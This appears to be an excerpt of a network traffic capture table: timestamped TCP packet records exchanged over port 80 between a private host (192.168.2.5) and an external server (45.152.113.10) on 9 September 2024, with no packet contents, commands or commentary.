Sep 9, 2024 18:45:06.817554951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817573071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817589045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817605019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817614079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817622900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817640066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817641020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817657948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817657948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817682981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817694902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817789078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817806005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817821980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817837954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817846060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817856073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817869902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817873001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817890882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.817898035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817919970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.817943096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818074942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818090916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818108082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818115950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818126917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818133116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818142891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818145990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818165064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818166971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818178892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818181992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818200111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818201065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818218946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818218946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818237066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818238020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818257093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818274021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818386078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818403006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818418980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818428993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818437099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818440914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818454981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818459034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818471909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818478107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818490028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818490982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818509102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818510056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818528891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818532944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818547010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818551064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818567991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818573952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818591118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818605900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818723917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818741083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818758011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818766117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818775892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818778038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818794966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818795919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818814039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818816900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818830967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818831921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818851948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818854094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818870068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818870068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818888903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818890095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818909883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818932056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.818981886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.818999052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.819015026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.819030046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.819039106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.819061995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.819080114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.906845093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.906923056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.906960011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907006025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907036066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907069921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907103062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907105923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907119036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907136917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907140970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907154083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907170057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907170057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907186031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907187939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907206059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907208920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907223940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907231092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907242060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907258987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.907259941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907284975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.907309055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908025980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908058882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908073902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908076048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908097029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908118010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908134937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908149958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908186913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908222914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908250093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908263922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908288002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908289909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908309937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908325911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908328056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908346891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908361912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908361912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908380032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908396006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908417940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908417940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908431053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908519983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908535957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908576965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908809900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908849001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908863068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908879042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908904076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908924103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.908938885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.908986092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909001112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909024000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909024954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909039021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909050941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909077883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909128904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909149885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909174919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909187078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909192085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909208059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909218073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909239054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909241915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909256935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909271955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909286976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909312963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909414053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909462929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909477949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909501076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909512043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909554005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909569025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909584999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909600973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909605026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909617901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909619093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909648895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909674883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909693956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909708023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909723997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909735918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909749031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909768105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909792900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909807920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909825087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909841061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909847021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909872055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909898043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909929991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909945011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909960032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909967899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909976006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.909986019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.909996033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910003901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910017014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910034895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910070896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910087109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910101891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910120010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910123110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910136938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910150051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910176992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910195112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910209894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910249949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910280943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910295010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910309076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910317898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910322905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910340071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910346031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910378933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910403967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910413980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910429955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910453081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910470963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910480976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910496950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910511017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910535097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910557032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910598993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910614967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910629988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910645008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910650015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910661936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910675049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910701990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910835981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910854101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910868883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910881042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910886049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910902023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910907984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910919905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910932064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910937071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910953045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910955906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910970926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.910979986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.910988092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911004066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911005020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911027908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911055088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911329985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911345005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911360025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911375999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911381960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911405087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911407948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911423922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911432981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911441088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911446095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911458015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911467075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911482096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911494017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911501884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911516905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911531925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911546946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911552906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911577940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911583900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911600113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911601067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911616087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911621094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911633015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911638021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911649942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911650896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911667109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911669970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911684036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.911688089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911700010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.911720991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999416113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999433041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999469995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999483109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999485016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999500036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999501944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999519110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999521017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999535084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999552011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999557018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999581099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999608040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999630928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999653101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999666929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999679089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999684095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999691010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999700069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999711990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999716043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.999717951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999752998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.999771118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000643969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000678062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000698090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000720978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000721931 CEST	80	49707	45.152.113.10	192.168.2.5
